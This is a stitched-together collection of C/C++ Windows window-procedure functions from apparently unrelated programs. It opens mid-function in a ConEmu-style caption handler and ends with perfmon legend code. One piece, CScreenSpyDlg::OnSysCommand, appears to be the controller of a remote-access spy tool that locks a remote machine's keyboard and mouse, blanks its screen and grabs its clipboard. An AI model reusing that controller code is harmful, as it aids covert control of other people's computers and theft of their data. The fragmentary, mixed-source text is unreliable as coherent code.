lstrcpy(szMsg, L"WM_NCUAHDRAWCAPTION"); break; case 0xAF: /*WM_NCUAHDRAWFRAME*/ lstrcpy(szMsg, L"WM_NCUAHDRAWFRAME"); break; case 0x31E: /*WM_DWMCOMPOSITIONCHANGED*/ lstrcpy(szMsg, L"WM_DWMCOMPOSITIONCHANGED"); break; case WM_WINDOWPOSCHANGED: lstrcpy(szMsg, L"WM_WINDOWPOSCHANGED"); break; case WM_SYSCOMMAND: lstrcpy(szMsg, L"WM_SYSCOMMAND"); break; case WM_GETTEXT: lstrcpy(szMsg, L"WM_GETTEXT"); break; case WM_PRINT: lstrcpy(szMsg, L"WM_PRINT"); break; case WM_PRINTCLIENT: lstrcpy(szMsg, L"WM_PRINTCLIENT"); break; case WM_GETMINMAXINFO: lstrcpy(szMsg, L"WM_GETMINMAXINFO"); break; case WM_WINDOWPOSCHANGING: lstrcpy(szMsg, L"WM_WINDOWPOSCHANGING"); break; case WM_MOVE: lstrcpy(szMsg, L"WM_MOVE"); wsprintf(szInfo, L"{%ix%i}", (int)(short)LOWORD(lParam), (int)(short)HIWORD(lParam)); break; case WM_SIZE: lstrcpy(szMsg, L"WM_SIZE"); wsprintf(szInfo, L"%s {%ix%i}", (wParam==SIZE_MAXHIDE) ? L"SIZE_MAXHIDE" : (wParam==SIZE_MAXIMIZED) ? L"SIZE_MAXIMIZED" : (wParam==SIZE_MAXSHOW) ? L"SIZE_MAXSHOW" : (wParam==SIZE_MINIMIZED) ? L"SIZE_MINIMIZED" : (wParam==SIZE_RESTORED) ? L"SIZE_RESTORED" : L"???", (int)(short)LOWORD(lParam), (int)(short)HIWORD(lParam)); break; default: wsprintf(szMsg, L"%u=x%X", uMsg, uMsg); } wsprintf(szDbg, L"MsgInAnimage(%s, %u, %u%s%s)\n", szMsg, (DWORD)wParam, (DWORD)lParam, szInfo[0] ? L" - " : L"", szInfo); OutputDebugString(szDbg); } #endif bool lbRc; static POINT ptLastNcClick = {}; switch (uMsg) { case WM_ERASEBKGND: DBGFUNCTION(L"WM_ERASEBKGND \n"); lResult = TRUE; return true; case WM_PAINT: DBGFUNCTION(L"WM_PAINT \n"); lResult = OnPaint(hWnd, NULL/*use BeginPaint,EndPaint*/, WM_PAINT); return true; case WM_NCPAINT: DBGFUNCTION(L"WM_NCPAINT \n"); lResult = OnNcPaint(hWnd, uMsg, wParam, lParam); return true; case WM_NCACTIVATE: DBGFUNCTION(L"WM_NCACTIVATE \n"); lResult = OnNcActivate(hWnd, uMsg, wParam, lParam); return true; case WM_NCCALCSIZE: DBGFUNCTION(L"WM_NCCALCSIZE \n"); lResult = OnNcCalcSize(hWnd, uMsg, wParam, lParam); return true; case WM_NCHITTEST: DBGFUNCTION(L"WM_NCHITTEST \n"); lResult = OnNcHitTest(hWnd, uMsg, wParam, lParam); return true; case WM_NCLBUTTONDOWN: case WM_NCLBUTTONUP: case WM_NCRBUTTONDOWN: case WM_NCRBUTTONUP: case WM_NCMBUTTONDOWN: case WM_NCMBUTTONUP: case WM_NCMOUSEMOVE: case WM_NCMOUSELEAVE: case WM_NCMOUSEHOVER: #ifdef _DEBUG switch (uMsg) { case WM_NCLBUTTONDOWN: DBGFUNCTION(L"WM_NCLBUTTONDOWN \n"); break; case WM_NCLBUTTONUP: DBGFUNCTION(L"WM_NCLBUTTONUP \n"); break; case WM_NCRBUTTONDOWN: DBGFUNCTION(L"WM_NCRBUTTONDOWN \n"); break; case WM_NCRBUTTONUP: DBGFUNCTION(L"WM_NCRBUTTONUP \n"); break; case WM_NCMBUTTONDOWN: DBGFUNCTION(L"WM_NCMBUTTONDOWN \n"); break; case WM_NCMBUTTONUP: DBGFUNCTION(L"WM_NCMBUTTONUP \n"); break; case WM_NCMOUSEMOVE: DBGFUNCTION(L"WM_NCMOUSEMOVE \n"); break; case WM_NCMOUSELEAVE: DBGFUNCTION(L"WM_NCMOUSELEAVE \n"); break; case WM_NCMOUSEHOVER: DBGFUNCTION(L"WM_NCMOUSEHOVER \n"); break; } #endif ptLastNcClick = MakePoint(LOWORD(lParam),HIWORD(lParam)); if ((uMsg == WM_NCMOUSEMOVE) || (uMsg == WM_NCLBUTTONUP)) gpConEmu->isSizing(uMsg); // могло не сброситься, проверим if (gpSet->isTabsInCaption) { //RedrawLock(); lbRc = gpConEmu->mp_TabBar->ProcessNcTabMouseEvent(hWnd, uMsg, wParam, lParam, lResult); //RedrawUnlock(); } else { // Табов чисто в заголовке - нет lbRc = false; } if (!lbRc) { if ((wParam == HTSYSMENU) && (uMsg == WM_NCLBUTTONDOWN)) { gpConEmu->mp_Menu->OnNcIconLClick(); lResult = 0; lbRc = true; } else if ((wParam == HTSYSMENU || wParam == HTCAPTION) && (uMsg == WM_NCRBUTTONDOWN || uMsg == WM_NCRBUTTONUP)) { if (uMsg == WM_NCRBUTTONUP) { LogString(L"ShowSysmenu called from (WM_NCRBUTTONUP)"); gpConEmu->mp_Menu->ShowSysmenu((short)LOWORD(lParam), (short)HIWORD(lParam)); } lResult = 0; lbRc = true; } else if ((uMsg == WM_NCRBUTTONDOWN || uMsg == WM_NCRBUTTONUP) && (wParam == HTCLOSE || wParam == HTMINBUTTON || wParam == HTMAXBUTTON)) { switch (LOWORD(wParam)) { case HTMINBUTTON: case HTCLOSE: Icon.HideWindowToTray(); break; case HTMAXBUTTON: gpConEmu->DoFullScreen(); break; } lResult = 0; lbRc = true; } } return lbRc; //case WM_LBUTTONDBLCLK: // { // // Глюк? DblClick по иконке приводит к WM_LBUTTONDBLCLK вместо WM_NCLBUTTONDBLCLK // POINT pt = MakePoint(LOWORD(lParam),HIWORD(lParam)); // if (gpConEmu->PtDiffTest(pt, ptLastNcClick.x, ptLastNcClick.y, 4)) // { // PostScClose(); // lResult = 0; // return true; // } // } // return false; case WM_MOUSEMOVE: DBGFUNCTION(L"WM_MOUSEMOVE \n"); // Табов чисто в заголовке - нет #if 0 RedrawLock(); if (gpConEmu->mp_TabBar->GetHoverTab() != -1) { gpConEmu->mp_TabBar->HoverTab(-1); } #if defined(USE_CONEMU_TOOLBAR) // Ну и с кнопок убрать подсветку, если была gpConEmu->mp_TabBar->Toolbar_UnHover(); #endif RedrawUnlock(); #endif return false; case WM_NCLBUTTONDBLCLK: if (wParam == HTCAPTION) { mb_NcAnimate = TRUE; } if (wParam == HT_CONEMUTAB) { _ASSERTE(gpSet->isTabsInCaption && "There is not tabs in 'Caption'"); //RedrawLock(); -- чтобы отрисовать "клик" по кнопке lbRc = gpConEmu->mp_TabBar->ProcessNcTabMouseEvent(hWnd, uMsg, wParam, lParam, lResult); //RedrawUnlock(); } else if (gpConEmu->OnMouse_NCBtnDblClk(hWnd, uMsg, wParam, lParam)) { lResult = 0; // DblClick на рамке - ресайз по ширине/высоте рабочей области экрана } else { lResult = DefWindowProc(hWnd, uMsg, wParam, lParam); } if (wParam == HTCAPTION) { mb_NcAnimate = FALSE; } return true; case WM_KEYDOWN: case WM_KEYUP: if (gpSet->isTabSelf && (wParam == VK_TAB || gpConEmu->mp_TabBar->IsInSwitch())) { if (isPressed(VK_CONTROL) && !isPressed(VK_MENU) && !isPressed(VK_LWIN) && !isPressed(VK_RWIN)) { if (gpConEmu->mp_TabBar->ProcessTabKeyboardEvent(hWnd, uMsg, wParam, lParam, lResult)) { return true; } } } return false; //case WM_NCCREATE: gpConEmu->CheckGlassAttribute(); return false; case 0xAE: /*WM_NCUAHDRAWCAPTION*/ lResult = OnDwmMessage(hWnd, uMsg, wParam, lParam); return true; case 0xAF: /*WM_NCUAHDRAWFRAME*/ lResult = OnDwmMessage(hWnd, uMsg, wParam, lParam); return true; case 0x31E: /*WM_DWMCOMPOSITIONCHANGED*/ lResult = OnDwmMessage(hWnd, uMsg, wParam, lParam); return true; case WM_SYSCOMMAND: if (wParam == SC_MAXIMIZE || wParam == SC_MINIMIZE || wParam == SC_RESTORE) { // Win 10 build 9926 bug? if ((wParam == SC_MAXIMIZE) && IsWin10()) { if (!gpConEmu->isMeForeground(false,false)) { return true; } } mb_NcAnimate = TRUE; //GetWindowText(hWnd, ms_LastCaption, countof(ms_LastCaption)); //SetWindowText(hWnd, L""); } lResult = gpConEmu->mp_Menu->OnSysCommand(hWnd, wParam, lParam, WM_SYSCOMMAND); if (wParam == SC_MAXIMIZE || wParam == SC_MINIMIZE || wParam == SC_RESTORE) { mb_NcAnimate = FALSE; //SetWindowText(hWnd, ms_LastCaption); } return true; case WM_GETTEXT: //TODO: Во время анимации Maximize/Restore/Minimize заголовок отрисовывается //TODO: системой, в итоге мелькает текст и срезаются табы //TODO: Сделаем, пока, чтобы текст хотя бы не мелькал... if (mb_NcAnimate && gpSet->isTabsInCaption) { _ASSERTE(!IsWindows7); // Проверить на XP и ниже if (wParam && lParam) { *(wchar_t*)lParam = 0; } lResult = 0; return true; } break; default: break; } return false; }
void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam) { CMenu* pSysMenu = GetSystemMenu(FALSE); switch (nID) { case IDM_CONTROL: { m_bIsCtrl = !m_bIsCtrl; pSysMenu->CheckMenuItem(IDM_CONTROL, m_bIsCtrl ? MF_CHECKED : MF_UNCHECKED); if (m_bIsCtrl) { if (m_bIsTraceCursor) SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)AfxGetApp()->LoadCursor(IDC_DOT)); else SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)m_hRemoteCursor); } else SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)LoadCursor(NULL, IDC_NO)); } break; case IDM_SEND_CTRL_ALT_DEL: { BYTE bToken = COMMAND_SCREEN_CTRL_ALT_DEL; m_iocpServer->Send(m_pContext, &bToken, sizeof(bToken)); } break; case IDM_TRACE_CURSOR: // 跟踪服务端鼠标 { m_bIsTraceCursor = !m_bIsTraceCursor; pSysMenu->CheckMenuItem(IDM_TRACE_CURSOR, m_bIsTraceCursor ? MF_CHECKED : MF_UNCHECKED); if (m_bIsCtrl) { if (!m_bIsTraceCursor) SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)m_hRemoteCursor); else SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)AfxGetApp()->LoadCursor(IDC_DOT)); } // 重绘消除或显示鼠标 OnPaint(); } break; case IDM_BLOCK_INPUT: // 锁定服务端鼠标和键盘 { bool bIsChecked = pSysMenu->GetMenuState(IDM_BLOCK_INPUT, MF_BYCOMMAND) & MF_CHECKED; pSysMenu->CheckMenuItem(IDM_BLOCK_INPUT, bIsChecked ? MF_UNCHECKED : MF_CHECKED); BYTE bToken[2]; bToken[0] = COMMAND_SCREEN_BLOCK_INPUT; bToken[1] = !bIsChecked; m_iocpServer->Send(m_pContext, bToken, sizeof(bToken)); } break; case IDM_BLANK_SCREEN: // 服务端黑屏 { bool bIsChecked = pSysMenu->GetMenuState(IDM_BLANK_SCREEN, MF_BYCOMMAND) & MF_CHECKED; pSysMenu->CheckMenuItem(IDM_BLANK_SCREEN, bIsChecked ? MF_UNCHECKED : MF_CHECKED); BYTE bToken[2]; bToken[0] = COMMAND_SCREEN_BLANK; bToken[1] = !bIsChecked; m_iocpServer->Send(m_pContext, bToken, sizeof(bToken)); } break; case IDM_CAPTURE_LAYER: // 捕捉层 { bool bIsChecked = pSysMenu->GetMenuState(IDM_CAPTURE_LAYER, MF_BYCOMMAND) & MF_CHECKED; pSysMenu->CheckMenuItem(IDM_CAPTURE_LAYER, bIsChecked ? MF_UNCHECKED : MF_CHECKED); BYTE bToken[2]; bToken[0] = COMMAND_SCREEN_CAPTURE_LAYER; bToken[1] = !bIsChecked; m_iocpServer->Send(m_pContext, bToken, sizeof(bToken)); } break; case IDM_SAVEDIB: SaveSnapshot(); break; case IDM_GET_CLIPBOARD: // 获取剪贴板 { BYTE bToken = COMMAND_SCREEN_GET_CLIPBOARD; m_iocpServer->Send(m_pContext, &bToken, sizeof(bToken)); } break; case IDM_SET_CLIPBOARD: // 设置剪贴板 { SendLocalClipboard(); } break; case IDM_ALGORITHM_SCAN: // 隔行扫描算法 { SendResetAlgorithm(ALGORITHM_SCAN); pSysMenu->CheckMenuRadioItem(IDM_ALGORITHM_SCAN, IDM_ALGORITHM_DIFF, IDM_ALGORITHM_SCAN, MF_BYCOMMAND); } break; case IDM_ALGORITHM_DIFF: // 差异比较算法 { SendResetAlgorithm(ALGORITHM_DIFF); pSysMenu->CheckMenuRadioItem(IDM_ALGORITHM_SCAN, IDM_ALGORITHM_DIFF, IDM_ALGORITHM_DIFF, MF_BYCOMMAND); } break; case IDM_DEEP_1: { SendResetScreen(1); pSysMenu->CheckMenuRadioItem(IDM_DEEP_1, IDM_DEEP_32, IDM_DEEP_1, MF_BYCOMMAND); } break; case IDM_DEEP_4_GRAY: { SendResetScreen(3); pSysMenu->CheckMenuRadioItem(IDM_DEEP_1, IDM_DEEP_32, IDM_DEEP_4_GRAY, MF_BYCOMMAND); } break; case IDM_DEEP_4_COLOR: { SendResetScreen(4); pSysMenu->CheckMenuRadioItem(IDM_DEEP_1, IDM_DEEP_32, IDM_DEEP_4_COLOR, MF_BYCOMMAND); } break; case IDM_DEEP_8_GRAY: { SendResetScreen(7); pSysMenu->CheckMenuRadioItem(IDM_DEEP_1, IDM_DEEP_32, IDM_DEEP_8_GRAY, MF_BYCOMMAND); } break; case IDM_DEEP_8_COLOR: { SendResetScreen(8); pSysMenu->CheckMenuRadioItem(IDM_DEEP_1, IDM_DEEP_32, IDM_DEEP_8_COLOR, MF_BYCOMMAND); } break; case IDM_DEEP_16: { SendResetScreen(16); pSysMenu->CheckMenuRadioItem(IDM_DEEP_1, IDM_DEEP_32, IDM_DEEP_16, MF_BYCOMMAND); } break; case IDM_DEEP_32: { SendResetScreen(32); pSysMenu->CheckMenuRadioItem(IDM_DEEP_4_GRAY, IDM_DEEP_32, IDM_DEEP_32, MF_BYCOMMAND); } break; default: CDialog::OnSysCommand(nID, lParam); } }
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) { int wmId, wmEvent; PAINTSTRUCT ps; HDC hdc; long _rect[4]; GetClientRect(hWnd, (LPRECT)_rect); Graphics* g_p; POINT p; GetCursorPos(&p); Font font(&FontFamily(L"Arial"), 12); SolidBrush brush(Color::Black); Gdiplus::Rect* rect_p; //if (message != WM_PAINT && message != WM_KEYUP) //{ // hdc = BeginPaint(hWnd, &ps); // g_p = new Graphics(hdc); // rect_p = new Rect(0, 0, 10 * 10, 24); // g_p->FillRectangle(new SolidBrush(Color::White), *rect_p); // POINT scr; // scr.x = 0; // scr.y = 0; // ClientToScreen(hWnd, &scr); // // g_p->DrawString((std::wstring(L"Freq: ")+std::to_wstring(freqdiff*(p.x-scr.x))).c_str(), -1, &font, PointF(0, 0), &brush); // EndPaint(hWnd, &ps); // InvalidateRect(hWnd, NULL, FALSE); //} switch (message) { case WM_SIZE: scrW = _rect[2] - _rect[0]; scrH = _rect[3] - _rect[1]; break; case WM_KEYUP: if (wParam == 0x50) isPaused = !isPaused; if (wParam == 0x50 - 1) w.reset(); break; case WM_COMMAND: wmId = LOWORD(wParam); wmEvent = HIWORD(wParam); // Parse the menu selections: switch (wmId) { case IDM_ABOUT: DialogBox(hInst, MAKEINTRESOURCE(IDD_ABOUTBOX), hWnd, About); break; case IDM_EXIT: DestroyWindow(hWnd); break; default: return DefWindowProc(hWnd, message, wParam, lParam); } break; case WM_PAINT: hdc = BeginPaint(hWnd, &ps); if (!isPaused) OnPaint(hWnd, hdc); EndPaint(hWnd, &ps); InvalidateRect(hWnd, NULL, FALSE); break; case WM_DESTROY: PostQuitMessage(0); break; default: return DefWindowProc(hWnd, message, wParam, lParam); } return 0; }
void CWindowOSXQT::Paint() { if (mpInvalidater->IsRectInvalidated()) { OnPaint(); } }
LRESULT APIENTRY GraphLegendWndProc (HWND hWnd, WORD wMsg, WPARAM wParam, LONG lParam) { // GraphLegendWndProc BOOL bCallDefProc ; LRESULT lReturnValue ; bCallDefProc = FALSE ; lReturnValue = 0L ; switch (wMsg) { // switch case WM_DELETEITEM: break ; case WM_COMMAND: switch (HIWORD (wParam)) { // switch case LBN_DBLCLK: OnDoubleClick (hWnd) ; break ; case LBN_SELCHANGE: OnSelectionChanged (hWnd) ; break ; default: break ; } // switch break ; case WM_CREATE: OnLegendCreate (hWnd, (LPCREATESTRUCT) lParam) ; break ; case WM_DESTROY: OnDestroy (hWnd) ; break ; case WM_DRAWITEM: OnDrawLegendItem (hWnd, (LPDRAWITEMSTRUCT) lParam) ; break ; case WM_MEASUREITEM: OnMeasureItem (hWnd, (LPMEASUREITEMSTRUCT) lParam) ; break ; case WM_PAINT: OnPaint (hWnd) ; break ; case WM_SIZE: OnSize (hWnd, LOWORD (lParam), HIWORD (lParam)) ; break ; case WM_SETFOCUS: OnSetFocus (hWnd) ; break ; default: bCallDefProc = TRUE ; } // switch if (bCallDefProc) lReturnValue = DefWindowProc (hWnd, wMsg, wParam, lParam) ; return (lReturnValue); } // GraphLegendWndProc
LONG FAR PASCAL ILineWndProc (HWND hWnd, unsigned msg, WPARAM wParam, LONG lParam) /* Note: This function must be declared in the application's linker-definition file, perfmon.def file. */ { // ILineWndProc BOOL bCallDefWindowProc ; POINTS ptsMouse ; LONG lReturnValue ; bCallDefWindowProc = FALSE ; lReturnValue = 0L ; switch (msg) { // switch case WM_CREATE: OnCreate (hWnd) ; break ; case WM_DESTROY: OnDestroy (hWnd) ; break ; case WM_LBUTTONDOWN: // See the note in OnMouseMove for why we are using POINTS SetFocus (hWnd) ; ptsMouse = MAKEPOINTS (lParam) ; OnLButtonDown (hWnd, ptsMouse) ; break ; case WM_LBUTTONUP: OnLButtonUp (hWnd) ; break ; case WM_SETFOCUS: case WM_KILLFOCUS: { PILINE pILine ; IntrLineFocus = (msg == WM_SETFOCUS) ; pILine = ILData (hWnd) ; ILNotifyChange (hWnd, pILine) ; } return 0 ; case WM_MOUSEMOVE: // See the note in OnMouseMove for why we are using POINTS ptsMouse = MAKEPOINTS (lParam) ; OnMouseMove (hWnd, ptsMouse) ; break ; case WM_KEYDOWN: if (!OnKeyDown (hWnd, wParam)) { bCallDefWindowProc = TRUE ; } break ; case WM_GETDLGCODE: // We want to handle Arrow keys input. If we don't specify this // the dialog will not pass arrow keys to us. return (DLGC_WANTARROWS) ; break ; case WM_PAINT: OnPaint (hWnd) ; break ; case WM_SIZE: OnSize (hWnd, LOWORD (lParam), HIWORD (lParam)) ; default: bCallDefWindowProc = TRUE ; } // switch if (bCallDefWindowProc) lReturnValue = DefWindowProc (hWnd, msg, wParam, lParam) ; return (lReturnValue) ; } // ILineWndProc